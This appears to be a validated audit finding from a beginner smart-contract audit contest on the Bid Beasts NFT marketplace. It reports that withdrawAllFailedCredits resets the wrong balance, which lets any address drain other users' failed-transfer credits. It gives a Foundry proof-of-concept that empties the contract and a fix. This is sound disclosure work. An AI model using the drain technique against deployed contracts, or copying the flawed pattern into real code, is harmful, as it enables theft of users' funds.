Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Logic error in `withdrawAllFailedCredits`

ciphermalware

Root + Impact

Description

  • The function must allow users to withdraw their own failed transfer credits that have built up when direct ETH transfers to them have all failed

  • The function incorrectly clears msg.sender credit balance while withdrawing _receivercredit amount so that anyone can steal other users credits and continue draining the same amount until the contract has nothing

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> msg.sender instead of _receiver
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> sends _receiver's funds to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any address can call this function to steal

  • Attackers will search for addresses with non 0 failedTransferCredits balances to exploit

Impact:

  • Theft of all users' failed transfer credits

  • Loss of all marketplace fees

Proof of Concept

function testDrainContractViaFailedCredits() public {
address victim = address(0x1);
address attacker = address(0x2);
​
vm.deal(address(marketplace), 10 ether);
// Simulate failed transfer creating credits for victim
vm.store(
address(marketplace),
keccak256(abi.encode(victim, uint256(4))),
bytes32(uint256(5 ether))
);
// Attacker steals victim's credits
vm.prank(attacker);
marketplace.withdrawAllFailedCredits(victim);
assertEq(attacker.balance, 5 ether);
uint256 victimCredits = marketplace.failedTransferCredits(victim);
assertEq(victimCredits, 5 ether);
// Attacker drains remaining contract balance
vm.prank(attacker);
marketplace.withdrawAllFailedCredits(victim);
assertEq(attacker.balance, 10 ether);
assertEq(address(marketplace).balance, 0);
// Contract is empty
assertEq(marketplace.failedTransferCredits(victim), 5 ether);
}

Recommended Mitigation

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ require(_receiver == msg.sender, "Can only withdraw own credits");
+ failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!